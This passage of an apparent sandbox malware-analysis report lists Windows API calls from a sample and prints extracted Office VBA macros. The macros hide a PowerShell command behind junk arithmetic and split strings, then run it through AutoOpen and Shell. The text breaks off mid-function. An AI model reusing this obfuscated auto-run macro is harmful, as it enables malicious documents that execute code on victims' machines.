    "vbeui.dll._MsoFWndProcNeeded@4",
    "vbeui.dll._MsoFWndProc@24",
    "vbeui.dll._MsoFCreateITFCHwnd@20",
    "vbeui.dll._MsoDestroyITFC@4",
    "vbeui.dll._MsoFPitbsFromHwndAndMsg@12",
    "vbeui.dll._MsoFGetComponentManager@4",
    "vbeui.dll._MsoMultiByteToWideChar@24",
    "vbeui.dll._MsoWideCharToMultiByte@32",
    "vbeui.dll._MsoHrRegisterAll@0",
    "vbeui.dll._MsoFSetComponentManager@4",
    "vbeui.dll._MsoFCreateStdComponentManager@20",
    "vbeui.dll._MsoFHandledMessageNeeded@4",
    "vbeui.dll._MsoPeekMessage@8",
    "vbeui.dll._MsoFCreateIPref@28",
    "vbeui.dll._MsoDestroyIPref@4",
    "vbeui.dll._MsoChsFromLid@4",
    "vbeui.dll._MsoCpgFromChs@4",
    "vbeui.dll._MsoSetLocale@4",
    "vbeui.dll._MsoFSetHMsoinstOfSdm@4",
    "vbeui.dll._MsoSetVbaInterfaces@8",
    "vbeui.dll._MsoGetControlInstanceId@8",
    "cryptnet.dll.CertDllVerifyRevocation",
    "oleaut32.dll.SysFreeString",
    "oleaut32.dll.LoadTypeLib",
    "oleaut32.dll.RegisterTypeLib",
    "oleaut32.dll.QueryPathOfRegTypeLib",
    "oleaut32.dll.UnRegisterTypeLib",
    "oleaut32.dll.OleTranslateColor",
    "oleaut32.dll.OleCreateFontIndirect",
    "oleaut32.dll.OleCreatePictureIndirect",
    "oleaut32.dll.OleLoadPicture",
    "oleaut32.dll.OleCreatePropertyFrameIndirect",
    "oleaut32.dll.OleCreatePropertyFrame",
    "oleaut32.dll.OleIconToCursor",
    "oleaut32.dll.LoadTypeLibEx",
    "oleaut32.dll.OleLoadPictureEx",
    "sechost.dll.ConvertSidToStringSidW",
    "profapi.dll.#104",
    "oleaut32.dll.DispCallFunc",
    "oleaut32.dll.CreateTypeLib2",
    "oleaut32.dll.VarDateFromUdate",
    "oleaut32.dll.VarUdateFromDate",
    "oleaut32.dll.GetAltMonthNames",
    "oleaut32.dll.VarNumFromParseNum",
    "oleaut32.dll.VarParseNumFromStr",
    "oleaut32.dll.VarDecFromR4",
    "oleaut32.dll.VarDecFromR8",
    "oleaut32.dll.VarDecFromDate",
    "oleaut32.dll.VarDecFromI4",
    "oleaut32.dll.VarDecFromCy",
    "oleaut32.dll.VarR4FromDec",
    "oleaut32.dll.GetRecordInfoFromTypeInfo",
    "oleaut32.dll.GetRecordInfoFromGuids",
    "oleaut32.dll.SafeArrayGetRecordInfo",
    "oleaut32.dll.SafeArraySetRecordInfo",
    "oleaut32.dll.SafeArrayGetIID",
    "oleaut32.dll.SafeArraySetIID",
    "oleaut32.dll.SafeArrayCopyData",
    "oleaut32.dll.SafeArrayAllocDescriptorEx",
    "oleaut32.dll.SafeArrayCreateEx",
    "oleaut32.dll.VarFormat",
    "oleaut32.dll.VarFormatDateTime",
    "oleaut32.dll.VarFormatNumber",
    "oleaut32.dll.VarFormatPercent",
    "oleaut32.dll.VarFormatCurrency",
    "oleaut32.dll.VarWeekdayName",
    "oleaut32.dll.VarMonthName",
    "oleaut32.dll.VarAdd",
    "oleaut32.dll.VarAnd",
    "oleaut32.dll.VarCat",
    "oleaut32.dll.VarDiv",
    "oleaut32.dll.VarEqv",
    "oleaut32.dll.VarIdiv",
    "oleaut32.dll.VarImp",
    "oleaut32.dll.VarMod",
    "oleaut32.dll.VarMul",
    "oleaut32.dll.VarOr",
    "oleaut32.dll.VarPow",
    "oleaut32.dll.VarSub",
    "oleaut32.dll.VarXor",
    "oleaut32.dll.VarAbs",
    "oleaut32.dll.VarFix",
    "oleaut32.dll.VarInt",
    "oleaut32.dll.VarNeg",
    "oleaut32.dll.VarNot",
    "oleaut32.dll.VarRound",
    "oleaut32.dll.VarCmp",
    "oleaut32.dll.VarDecAdd",
    "oleaut32.dll.VarDecCmp",
    "oleaut32.dll.VarBstrCat",
    "oleaut32.dll.VarCyMulI4",
    "oleaut32.dll.VarBstrCmp",
    "ole32.dll.CoCreateInstanceEx",
    "ole32.dll.CLSIDFromProgIDEx",
    "sensapi.dll.IsNetworkAlive",
    "rpcrt4.dll.RpcBindingFromStringBindingW",
    "rpcrt4.dll.RpcBindingSetAuthInfoExW",
    "rpcrt4.dll.NdrClientCall2",
    "mso.dll.#5772",
    "mso.dll.#9885",
    "mso.dll.#8499",
    "winhttp.dll.WinHttpOpen",
    "winhttp.dll.WinHttpSetTimeouts",
    "winhttp.dll.WinHttpSetOption",
    "winhttp.dll.WinHttpCrackUrl",
    "winhttp.dll.WinHttpConnect",
    "winhttp.dll.WinHttpOpenRequest",
    "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
    "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
    "winhttp.dll.WinHttpTimeFromSystemTime",
    "user32.dll.RegisterPowerSettingNotification",
    "powrprof.dll.PowerSettingRegisterNotification",
    "user32.dll.GetWindowThreadProcessId",
    "user32.dll.GetWindowTextW",
    "winhttp.dll.WinHttpSendRequest",
    "mso.dll.#4262",
    "mso.dll.#5512",
    "advapi32.dll.RegEnumKeyW",
    "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
    "mso.dll.#4909",
    "advapi32.dll.RegDeleteTreeW",
    "xmllite.dll.CreateXmlReader",
    "mso.dll.#615",
    "user32.dll.IsWindow",
    "user32.dll.RedrawWindow",
    "mso.dll.#1144",
    "mso.dll.#1256",
    "vbe7.dll.#575",
    "vbe7.dll.#608",
    "vbe7.dll.#600",
    "winhttp.dll.WinHttpReceiveResponse",
    "winhttp.dll.WinHttpQueryHeaders",
    "shlwapi.dll.StrStrIW",
    "winhttp.dll.WinHttpQueryDataAvailable",
    "winhttp.dll.WinHttpReadData",
    "winhttp.dll.WinHttpCloseHandle",
    "mso.dll.#4215",
    "mso.dll.#8200",
    "mso.dll.#382",
    "mso.dll.#2025",
    "mso.dll.#791",
    "mso.dll.#1848",
    "mso.dll.#8735",
    "mso.dll.#9374",
    "ole32.dll.CoGetCallState",
    "ole32.dll.CoGetActivationState",
    "advapi32.dll.RegisterWaitChainCOMCallback",
    "mso.dll.#5286",
    "mso.dll.#6368",
    "mso.dll.#1010",
    "mso.dll.#7979",
    "mso.dll.#8549",
    "mso.dll.#2863",
    "mso.dll.#8970",
    "mso.dll.#9198",
    "mso.dll.#4795",
    "mso.dll.#1865",
    "mso.dll.#9688",
    "mso.dll.#320",
    "advapi32.dll.RegDeleteKeyA",
    "user32.dll.DestroyCursor",
    "mso.dll.#7173",
    "mso.dll.#8511",
    "mso.dll.#3299",
    "mso.dll.#7001",
    "mso.dll.#8140",
    "mso.dll.#3913",
    "user32.dll.PeekMessageA",
    "mso.dll.#1380",
    "mso.dll.#9500",
    "user32.dll.TranslateMessage",
    "user32.dll.IsWindowUnicode",
    "user32.dll.DispatchMessageA",
    "user32.dll.DispatchMessageW",
    "user32.dll.UpdateWindow",
    "mso.dll.#999",
    "mso.dll.#287",
    "dwmapi.dll.DwmIsCompositionEnabled",
    "mso.dll.#1575",
    "mso.dll.#5034",
    "mso.dll.#1517",
    "mso.dll.#718",
    "mso.dll.#4708",
    "mso.dll.#4175",
    "mso.dll.#8672",
    "mso.dll.#1990",
    "mso.dll.#3051",
    "mso.dll.#1819",
    "mso.dll.#1419",
    "oleaut32.dll.#147",
    "kernel32.dll.WerRegisterMemoryBlock",
    "dwrite.dll.DWriteCreateFactory",
    "cryptnet.dll.I_CryptNetGetConnectivity",
    "cryptnet.dll.CryptRetrieveObjectByUrlW",
    "user32.dll.IsHungAppWindow",
    "setupapi.dll.SetupIterateCabinetW",
    "kernel32.dll.RegOpenKeyExW",
    "kernel32.dll.RegCloseKey",
    "cabinet.dll.#20",
    "cabinet.dll.#22",
    "devrtl.dll.DevRtlGetThreadLogToken",
    "cryptsp.dll.CryptSetHashParam",
    "gdi32.dll.GetCurrentObject",
    "gdi32.dll.BitBlt",
    "gdi32.dll.GetClipBox",
    "gdi32.dll.StretchDIBits",
    "sechost.dll.OpenSCManagerW",
    "sechost.dll.OpenServiceW",
    "sechost.dll.QueryServiceConfigA",
    "sechost.dll.QueryServiceStatus",
    "sechost.dll.CloseServiceHandle",
    "rpcrt4.dll.RpcStringBindingComposeA",
    "rpcrt4.dll.RpcBindingFromStringBindingA",
    "rpcrt4.dll.RpcEpResolveBinding",
    "sechost.dll.LookupAccountSidLocalW",
    "rpcrt4.dll.RpcStringFreeA",
    "rpcrt4.dll.RpcBindingFree",
    "riched20.dll.REExtendedRegisterClass",
    "user32.dll.GetWindowLongW",
    "user32.dll.GetSysColor",
    "user32.dll.SetWindowLongW",
    "user32.dll.RegisterWindowMessageA",
    "user32.dll.RegisterClipboardFormatW",
    "user32.dll.GetDoubleClickTime",
    "user32.dll.SetCaretBlinkTime",
    "user32.dll.SystemParametersInfoW",
    "user32.dll.GetKeyboardLayoutList",
    "mso.dll._MsoGetFidUspDll@0",
    "mso.dll._MsoLoadLocalizedLibraryEx@12",
    "usp10.dll.ScriptGetProperties",
    "usp10.dll.ScriptItemize",
    "user32.dll.LoadCursorW",
    "user32.dll.IsWindowVisible",
    "user32.dll.GetKeyboardLayout",
    "user32.dll.PostMessageW",
    "user32.dll.DefWindowProcW",
    "uxtheme.dll.IsThemeActive",
    "uxtheme.dll.IsAppThemed",
    "uxtheme.dll.OpenThemeData",
    "user32.dll.GetDC",
    "user32.dll.ReleaseDC",
    "user32.dll.IsIconic",
    "user32.dll.GetParent",
    "usp10.dll.ScriptGetCMap",
    "user32.dll.InvalidateRect",
    "user32.dll.HideCaret",
    "user32.dll.ShowCaret",
    "user32.dll.NotifyWinEvent",
    "user32.dll.GetWindowTextLengthW",
    "user32.dll.EnableWindow",
    "msctf.dll.SetInputScope",
    "user32.dll.GetWindowRgn",
    "gdi32.dll.CreateCompatibleBitmap",
    "gdi32.dll.SaveDC",
    "gdi32.dll.SetPixel",
    "gdi32.dll.GetPixel",
    "gdi32.dll.RestoreDC",
    "imm32.dll.ImmAssociateContext",
    "mso.dll.#806",
    "mso.dll.#4908",
    "user32.dll.SetRect",
    "mso.dll.#8439",
    "mso.dll.#2736",
    "gdi32.dll.GetTextAlign",
    "gdi32.dll.ExtTextOutW",
    "mso.dll.#8122",
    "mso.dll.#2114",
    "webservices.dll.WsResetHeap",
    "webservices.dll.WsCloseServiceProxy",
    "ws2_32.dll.#3",
    "ncrypt.dll.SslDecrementProviderReferenceCount",
    "ncrypt.dll.SslFreeObject",
    "webservices.dll.WsFreeServiceProxy",
    "mso.dll.#6558",
    "gdi32.dll.GetFontData",
    "usp10.dll.ScriptItemizeOpenType",
    "usp10.dll.ScriptShapeOpenType",
    "usp10.dll.ScriptPlaceOpenType",
    "mso.dll.#8395",
    "mso.dll.#379",
    "mso.dll.#6338",
    "mso.dll.#7964",
    "mso.dll.#1437",
    "mso.dll.#1427",
    "mso.dll.#6137",
    "winmm.dll.timeGetTime",
    "mso.dll.#5940",
    "usp10.dll.ScriptPlace",
    "usp10.dll.ScriptShape",
    "usp10.dll.ScriptJustify",
    "usp10.dll.ScriptTextOut",
    "usp10.dll.ScriptCPtoX",
    "usp10.dll.ScriptXtoCP",
    "usp10.dll.ScriptFreeCache",
    "usp10.dll.ScriptCacheGetHeight",
    "usp10.dll.ScriptLayout",
    "usp10.dll.ScriptBreak",
    "usp10.dll.ScriptIsComplex",
    "usp10.dll.ScriptGetLogicalWidths",
    "usp10.dll.ScriptApplyLogicalWidth",
    "usp10.dll.ScriptGetGlyphABCWidth",
    "usp10.dll.ScriptGetFontProperties",
    "usp10.dll.ScriptApplyDigitSubstitution",
    "usp10.dll.ScriptRecordDigitSubstitution",
    "usp10.dll.ScriptGetFontAlternateGlyphs",
    "mso.dll.#7578",
    "mso.dll.#8483",
    "mso.dll.#2613",
    "gdi32.dll.GdiIsMetaPrintDC",
    "mso.dll.#7848",
    "user32.dll.GetForegroundWindow",
    "user32.dll.GetFocus",
    "user32.dll.GetClassNameA",
    "user32.dll.IsWindowRedirectedForPrint",
    "gdi32.dll.CreateRectRgnIndirect",
    "user32.dll.GetUpdateRgn",
    "gdi32.dll.GetRgnBox",
    "user32.dll.ValidateRect",
    "user32.dll.GetUpdateRect",
    "user32.dll.BeginPaint",
    "user32.dll.EndPaint",
    "mso.dll.#3624",
    "msptls.dll.?LsPointXYFromPointUV@Ptls6@@YGJPBUtagLSPOINT@1@KPBUtagLSPOINTUV@1@PAU21@@Z",
    "msptls.dll.?LsDisplayLine@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINT@1@IPBUtagLSRECT@1@@Z",
    "mso.dll.#6247",
    "gdi32.dll.TranslateCharsetInfo",
    "mso.dll.#3300",
    "mso.dll.#7465",
    "gdi32.dll.SetWindowOrgEx",
    "mso.dll.#732",
    "mso.dll.#5804",
    "mso.dll.#2155",
    "mso.dll.#9465",
    "ole32.dll.CoCreateInstance",
    "mso.dll.#434",
    "user32.dll.GetMessageExtraInfo",
    "user32.dll.TrackMouseEvent",
    "user32.dll.GetInputState",
    "mso.dll.#8461",
    "user32.dll.GetClipboardOwner",
    "mso.dll.#1422",
    "user32.dll.MsgWaitForMultipleObjectsEx",
    "advapi32.dll.NotifyServiceStatusChangeW",
    "user32.dll.GetScrollPos",
    "mso.dll.#629",
    "kernel32.dll.FlsAlloc",
    "kernel32.dll.FlsGetValue",
    "kernel32.dll.FlsSetValue",
    "kernel32.dll.FlsFree",
    "ieawsdc.dll.HrExtractTemplateToPath",
    "advapi32.dll.CryptAcquireContextA",
    "cryptsp.dll.CryptAcquireContextA",
    "advapi32.dll.CryptGenKey",
    "cryptsp.dll.CryptGenKey",
    "advapi32.dll.CryptImportKey",
    "cryptsp.dll.CryptImportKey",
    "advapi32.dll.CryptExportKey",
    "cryptsp.dll.CryptExportKey",
    "advapi32.dll.CryptDestroyKey",
    "cryptsp.dll.CryptDestroyKey",
    "crypt32.dll.CryptQueryObject",
    "advapi32.dll.CryptCreateHash",
    "cryptsp.dll.CryptCreateHash",
    "advapi32.dll.CryptSetHashParam",
    "advapi32.dll.CryptHashData",
    "cryptsp.dll.CryptHashData",
    "advapi32.dll.CryptGetHashParam",
    "cryptsp.dll.CryptGetHashParam",
    "advapi32.dll.CryptDestroyHash",
    "cryptsp.dll.CryptDestroyHash",
    "wintrust.dll.CryptSIPPutSignedDataMsg",
    "wintrust.dll.CryptSIPGetSignedDataMsg",
    "cryptsp.dll.CryptGetDefaultProviderW",
    "cryptsp.dll.CryptAcquireContextW",
    "crypt32.dll.CertEnumCertificatesInStore",
    "crypt32.dll.CryptVerifyCertificateSignatureEx",
    "cryptsp.dll.CryptReleaseContext",
    "wintrust.dll.WinVerifyTrust",
    "wintrust.dll.WintrustCertificateTrust",
    "wintrust.dll.SoftpubAuthenticode",
    "wintrust.dll.SoftpubInitialize",
    "wintrust.dll.SoftpubLoadMessage",
    "wintrust.dll.SoftpubLoadSignature",
    "wintrust.dll.SoftpubCheckCert",
    "wintrust.dll.SoftpubCleanup",
    "wintrust.dll.CryptSIPVerifyIndirectData",
    "cryptbase.dll.SystemFunction036",
    "uxtheme.dll.ThemeInitApiHook",
    "user32.dll.IsProcessDPIAware",
    "shell32.dll.#66",
    "ole32.dll.CoGetApartmentType",
    "ole32.dll.CoRegisterInitializeSpy",
    "ole32.dll.CoTaskMemFree",
    "comctl32.dll.#236",
    "oleaut32.dll.#6",
    "ole32.dll.CoTaskMemAlloc",
    "ole32.dll.CoGetMalloc",
    "ole32.dll.CoInitializeEx",
    "ole32.dll.CreateBindCtx",
    "comctl32.dll.#320",
    "comctl32.dll.#324",
    "comctl32.dll.#323",
    "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
    "oleaut32.dll.#2",
    "setupapi.dll.CM_Get_Device_Interface_List_ExW",
    "advapi32.dll.InitializeSecurityDescriptor",
    "advapi32.dll.SetEntriesInAclW",
    "ntmarta.dll.GetMartaExtensionInterface",
    "advapi32.dll.SetSecurityDescriptorDacl",
    "advapi32.dll.IsTextUnicode",
    "comctl32.dll.#332",
    "comctl32.dll.#338",
    "comctl32.dll.#339",
    "comctl32.dll.#386",
    "shell32.dll.#102",
    "ole32.dll.CoUninitialize",
    "comctl32.dll.#385",
    "comctl32.dll.#336",
    "comctl32.dll.#321",
    "comctl32.dll.#329",
    "comctl32.dll.#333",
    "ntdll.dll.RtlDllShutdownInProgress",
    "propsys.dll.PSCreateMemoryPropertyStore",
    "linkinfo.dll.CreateLinkInfoW",
    "user32.dll.IsCharAlphaW",
    "user32.dll.CharPrevW",
    "ntshrui.dll.GetNetResourceFromLocalPathW",
    "srvcli.dll.NetShareEnum",
    "cscapi.dll.CscNetApiGetInterface",
    "slc.dll.SLGetWindowsInformationDWORD",
    "shlwapi.dll.PathRemoveFileSpecW",
    "linkinfo.dll.DestroyLinkInfo",
    "propsys.dll.PropVariantToBoolean",
    "cryptsp.dll.CryptGenRandom",
    "oleaut32.dll.#500",
    "advapi32.dll.RegOpenKeyExW",
    "advapi32.dll.RegQueryInfoKeyW",
    "advapi32.dll.RegEnumKeyExW",
    "advapi32.dll.RegEnumValueW",
    "advapi32.dll.RegCloseKey",
    "advapi32.dll.RegQueryValueExW",
    "kernel32.dll.QueryActCtxW",
    "shlwapi.dll.UrlIsW",
    "kernel32.dll.IsProcessorFeaturePresent",
    "msvcrt.dll._set_error_mode",
    "msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z",
    "kernel32.dll.FindActCtxSectionStringW",
    "kernel32.dll.GetSystemWindowsDirectoryW",
    "mscoree.dll.GetProcessExecutableHeap",
    "mscorwks.dll.DllGetClassObjectInternal",
    "mscorwks.dll.GetCLRFunction",
    "advapi32.dll.RegisterTraceGuidsW",
    "advapi32.dll.UnregisterTraceGuids",
    "advapi32.dll.GetTraceLoggerHandle",
    "advapi32.dll.GetTraceEnableLevel",
    "advapi32.dll.GetTraceEnableFlags",
    "advapi32.dll.TraceEvent",
    "mscoree.dll.IEE",
    "mscorwks.dll.IEE",
    "mscoree.dll.GetStartupFlags",
    "mscoree.dll.GetHostConfigurationFile",
    "mscoree.dll.GetCORSystemDirectory",
    "ntdll.dll.RtlUnwind",
    "kernel32.dll.IsWow64Process",
    "advapi32.dll.AllocateAndInitializeSid",
    "advapi32.dll.OpenProcessToken",
    "advapi32.dll.GetTokenInformation",
    "advapi32.dll.InitializeAcl",
    "advapi32.dll.AddAccessAllowedAce",
    "advapi32.dll.FreeSid",
    "kernel32.dll.SetThreadStackGuarantee",
    "kernel32.dll.AddVectoredContinueHandler",
    "kernel32.dll.RemoveVectoredContinueHandler",
    "advapi32.dll.ConvertSidToStringSidW",
    "kernel32.dll.FlushProcessWriteBuffers",
    "kernel32.dll.GetWriteWatch",
    "kernel32.dll.ResetWriteWatch",
    "kernel32.dll.CreateMemoryResourceNotification",
    "kernel32.dll.QueryMemoryResourceNotification",
    "mscoree.dll._CorExeMain",
    "mscoree.dll._CorImageUnloading",
    "mscoree.dll._CorValidateImage",
    "ole32.dll.CoGetContextToken",
    "oleaut32.dll.#149",
    "kernel32.dll.GetUserDefaultUILanguage",
    "kernel32.dll.GetVersionExW",
    "kernel32.dll.GetFullPathNameW",
    "kernel32.dll.SetErrorMode",
    "kernel32.dll.GetFileAttributesExW",
    "version.dll.GetFileVersionInfoSizeW",
    "version.dll.GetFileVersionInfoW",
    "version.dll.VerQueryValueW",
    "kernel32.dll.lstrlen",
    "kernel32.dll.lstrlenW",
    "mscoree.dll.ND_RI2",
    "kernel32.dll.lstrcpy",
    "kernel32.dll.lstrcpyW",
    "version.dll.VerLanguageNameW",
    "kernel32.dll.CloseHandle",
    "kernel32.dll.GetCurrentProcessId",
    "advapi32.dll.LookupPrivilegeValueW",
    "kernel32.dll.GetCurrentProcess",
    "advapi32.dll.AdjustTokenPrivileges",
    "kernel32.dll.OpenProcess",
    "psapi.dll.EnumProcessModules",
    "psapi.dll.GetModuleInformation",
    "psapi.dll.GetModuleBaseNameW",
    "psapi.dll.GetModuleFileNameExW",
    "kernel32.dll.GetExitCodeProcess",
    "ntdll.dll.NtQuerySystemInformation",
    "user32.dll.EnumWindows",
    "kernel32.dll.WerSetFlags",
    "kernel32.dll.SetThreadPreferredUILanguages",
    "kernel32.dll.GetThreadPreferredUILanguages",
    "kernel32.dll.GetUserDefaultLocaleName",
    "kernel32.dll.GetEnvironmentVariableW",
    "advapi32.dll.CryptReleaseContext",
    "advapi32.dll.CryptGetKeyParam",
    "advapi32.dll.CryptVerifySignatureA",
    "advapi32.dll.CryptSignHashA",
    "advapi32.dll.CryptGetProvParam",
    "advapi32.dll.CryptGetUserKey",
    "advapi32.dll.CryptEnumProvidersA",
    "mscoree.dll.GetTokenForVTableEntry",
    "mscoree.dll.SetTargetForVTableEntry",
    "mscoree.dll.GetTargetForVTableEntry",
    "culture.dll.ConvertLangIdToCultureName",
    "ole32.dll.CoCreateGuid",
    "kernel32.dll.CreateFileW",
    "kernel32.dll.GetConsoleScreenBufferInfo",
    "kernel32.dll.LocalFree",
    "kernel32.dll.LocalAlloc",
    "mscoree.dll.ND_RI4",
    "advapi32.dll.DuplicateTokenEx",
    "advapi32.dll.CheckTokenMembership",
    "kernel32.dll.GetConsoleTitleW",
    "kernel32.dll.SetConsoleTitleW",
    "kernel32.dll.SetConsoleCtrlHandler",
    "kernel32.dll.CreateEventW",
    "ntdll.dll.WinSqmIsOptedIn",
    "kernel32.dll.ExpandEnvironmentStringsW",
    "shfolder.dll.SHGetFolderPathW",
    "kernel32.dll.SetEnvironmentVariableW",
    "kernel32.dll.GetACP",
    "kernel32.dll.UnmapViewOfFile",
    "kernel32.dll.GetFileType",
    "kernel32.dll.ReadFile",
    "kernel32.dll.GetSystemInfo",
    "kernel32.dll.VirtualQuery",
    "kernel32.dll.SwitchToThread",
    "kernel32.dll.GlobalMemoryStatusEx",
    "secur32.dll.GetUserNameExW",
    "advapi32.dll.GetUserNameW",
    "kernel32.dll.ReleaseMutex",
    "advapi32.dll.RegisterEventSourceW",
    "advapi32.dll.DeregisterEventSource",
    "advapi32.dll.ReportEventW",
    "kernel32.dll.GetLogicalDrives",
    "kernel32.dll.GetDriveTypeW",
    "kernel32.dll.GetVolumeInformationW",
    "kernel32.dll.GetCurrentDirectoryW",
    "kernel32.dll.GetLastError",
    "mscorjit.dll.getJit",
    "kernel32.dll.GetStdHandle",
    "kernel32.dll.GetConsoleMode",
    "kernel32.dll.SetEvent",
    "kernel32.dll.SetThreadUILanguage",
    "kernel32.dll.GetModuleFileNameW",
    "kernel32.dll.GetFileSize",
    "rasapi32.dll.RasEnumConnectionsW",
    "rtutils.dll.TraceRegisterExA",
    "rtutils.dll.TracePrintfExA",
    "ws2_32.dll.WSAStartup",
    "ws2_32.dll.WSASocketW",
    "ws2_32.dll.setsockopt",
    "ws2_32.dll.WSAEventSelect",
    "ws2_32.dll.ioctlsocket",
    "ws2_32.dll.closesocket",
    "kernel32.dll.GetComputerNameW",
    "advapi32.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
    "kernel32.dll.CreateFileMappingW",
    "kernel32.dll.MapViewOfFile",
    "advapi32.dll.CreateWellKnownSid",
    "kernel32.dll.CreateMutexW",
    "kernel32.dll.WaitForSingleObject",
    "kernel32.dll.OpenMutexW",
    "kernel32.dll.GetProcessTimes",
    "ws2_32.dll.WSAIoctl",
    "kernel32.dll.FormatMessageW",
    "rasapi32.dll.RasConnectionNotificationW",
    "advapi32.dll.RegOpenCurrentUser",
    "sechost.dll.NotifyServiceStatusChangeA",
    "advapi32.dll.RegNotifyChangeKeyValue",
    "kernel32.dll.ResetEvent",
    "iphlpapi.dll.GetNetworkParams",
    "dnsapi.dll.DnsQueryConfig",
    "iphlpapi.dll.GetAdaptersAddresses",
    "iphlpapi.dll.GetIpInterfaceEntry",
    "iphlpapi.dll.GetBestInterfaceEx",
    "ws2_32.dll.inet_addr",
    "ws2_32.dll.getaddrinfo",
    "ws2_32.dll.freeaddrinfo",
    "ws2_32.dll.WSAConnect",
    "ws2_32.dll.send",
    "ws2_32.dll.recv",
    "kernel32.dll.DeleteFileW",
    "mscoree.dll.DllGetClassObject",
    "diasymreader.dll.DllGetClassObjectInternal",
    "kernel32.dll.SetConsoleTextAttribute",
    "kernel32.dll.WriteConsoleW",
    "mscoree.dll.CorExitProcess",
    "mscorwks.dll.CorExitProcess",
    "mscorwks.dll._CorDllMain",
    "kernel32.dll.CreateActCtxW",
    "kernel32.dll.AddRefActCtx",
    "kernel32.dll.ReleaseActCtx",
    "kernel32.dll.ActivateActCtx",
    "kernel32.dll.DeactivateActCtx",
    "kernel32.dll.GetCurrentActCtx",
    "netutils.dll.NetApiBufferFree"
]

[*] Static Analysis: {
    "office": {
        "Macro": {
            "Code": {
                "Macro2": [
                    [
                        "tiHsUSzZTFNi.bas",
                        "Function wnXEuITzAd()\nOn Error Resume Next\nSZjJo = (iOpikz * 53372 + 13108 * CInt(uArvR - CDbl(7575)) * 1559 * Oct(57202))\nhHkFoIi = sDiCB + Chr(szVELvldJ + 80 + CzBqYt) + \"owers\"\nvhfOH = (ZUzLj * 78520 + 96618 * CInt(qlDfoZ - CDbl(14430)) * 39463 * Oct(82511))\nAYFVnw = (RvbOG * 10250 + 30686 * CInt(nIQAQ - CDbl(50480)) * 69936 * Oct(93215))\nwnXEuITzAd = zOaDDKVUDPw + hHkFoIi + qAHwXkaRw + OknAlmWFT + RuUhMFatIX + HXqoFjPtPRH + lkKsdIBWO + SSfjfSDFdH + lSWDpWG + CQkMAmHMnk + mOfKZdsuf + qzUrQAThX + vTsjk + MWudWOlDpV + jBsaoRdHzKc + vhXbf + WuzXauwJi + vYwvwVhr + FAVQQk + MDEYpVMcjo + diNCMYStw + NPoQT + sjmtozvp + QSMZsrNcOFA + jjcNOJMLUY + qErwin + zKElZaImdi + XEBQXwDWM + YzhiJS + PFluWbJlA + mTmctClDjd + Iopfh + siZszlqSNKw + uzOXq\nBJOYM = (AaqnN * 65508 + 93726 * CInt(hCwOt - CDbl(43917)) * 69563 * Oct(67794))\nEnd Function\nFunction jQlVZC(ztohkE)\nOn Error Resume Next\nnYBRrU = (SPcEUd * 66262 + 77054 * CInt(raoQS - CDbl(4176)) * 48579 * Oct(82355))\njzRLq = (RRiaz * 20788 + 75400 * CInt(GPUzF - CDbl(85722)) * 68235 * Oct(7793))\npoAkHfmU = wRccoPwB + jqzGoS + Shell(zbWKZhwv + ztohkE + NUzJhBzjWXk, (27367 / 27367) - 1)\nKICvw = (NlzKM * 15419 + 43486 * CInt(GZCnC - CDbl(98359)) * 14632 * Oct(77076))\nEnd Function\nSub AutoOpen()\nOn Error Resume Next\nDRhAzE = (wUfdG * 5852 + 77726 * CInt(UzQpAA - CDbl(51036)) * 2404 * Oct(68807))\njQlVZC (wnXEuITzAd)\nNYCFj = (MWNwi * 27681 + 34233 * CInt(jfMrc - CDbl(87467)) * 4227 * Oct(7570))\nEnd Sub\n"
                    ]
                ],
                "Macro1": [
                    [
                        "HmCNbzNhIiW.bas",
                        "Function qAHwXkaRw()\nOn Error Resume Next\npwXJGz = (zRQCj * 74759 + 18002 * CInt(XqWbpl - CDbl(8601)) * 63195 * Oct(7362))\nCwioM = \"Hel\" + \"l  \" + \".(\" + \" $\" + \"veR\" + \"bo\" + \"SE\"\nCClRKL = (MMRCLc * 5034 + 57278 * CInt(JTzvk - CDbl(37345)) * 23569 * Oct(44913))\nENlqEBiIw = \"pr\" + \"EF\" + \"er\" + \"eN\"\nZKnlsk = (TYDzo * 66552 + 13824 * CInt(FXZrt - CDbl(22267)) * 26245 * Oct(39199))\nsUkbTR = \"Ce.\" + \"tO\" + \"sTR\"\ncckjIA = (qNlkAJ * 50919 + 38992 * CInt(krDwjZ - CDbl(51941)) * 24348 * Oct(83927))\nSPXzAPIl = \"inG\" + \"()\" + \"[1,\" + \"3]+\"\nqAHwXkaRw = CwioM + ENlqEBiIw + sUkbTR + SPXzAPIl\nNtUdUM = (pJQzhL * 47611 + 39353 * CInt(awWEv - CDbl(94459)) * 10823 * Oct(21158))\nEnd Function\nFunction OknAlmWFT()\nOn Error Resume Next\nTJVRD = (XsRmp * 42554 + 68655 * CInt(XKTRD - CDbl(63272)) * 6392 * Oct(62094))\nMfmJiLHVvrJ = \"'x\" + \"'-\" + \"jOI\" + \"n'\" + \"')(\" + \" [\" + \"st\"\niawipm = (QnJVAC * 40141 + 47523 * CInt(Ocptl - CDbl(59102)) * 70156 * Oct(82232))\nNsEmWXSqjXr = \"RI\" + \"ng\" + \"]:\"\nwucjBi = (nfrrE * 44654 + 65963 * CInt(XWBMO - CDbl(33351)) * 41892 * Oct(79393))\nNzlBR = \":J\" + \"Oin\" + \"( '\" + \"' \" + \", (\" + \" '3\"\nKoENmt = (pHwqsS * 69191 + 73467 * CInt(QNXdhB - CDbl(84168)) * 87907 * Oct(69196))\nLrjwdKTsdsz = \"7M9\" + \"8s6\" + \"6U\" + \"99\"\nPcXcN = (FhVMZr * 1630 + 73146 * CInt(BwYrNE - CDbl(74661)) * 30070 * Oct(64376))\nPvZkfV = \"P10\" + \"9k\" + \"96s\" + \"33\" + \"M6\" + \"0_3\"\nEwLNJz = (dPdWR * 60033 + 71467 * CInt(mlOZG - CDbl(48707)) * 23408 * Oct(71377))\nzOCHzFH = \"3t\" + \"11\" + \"1e\" + \"100\" + \"e1\" + \"18M\" + \"44_\"\nOknAlmWFT = MfmJiLHVvrJ + NsEmWXSqjXr + NzlBR + LrjwdKTsdsz + PvZkfV + zOCHzFH\njETCWS = (NqfJit * 37971 + 22353 * CInt(ONkIU - CDbl(68540)) * 33935 * Oct(75150))\nEnd Function\nFunction RuUhMFatIX()\nOn Error Resume 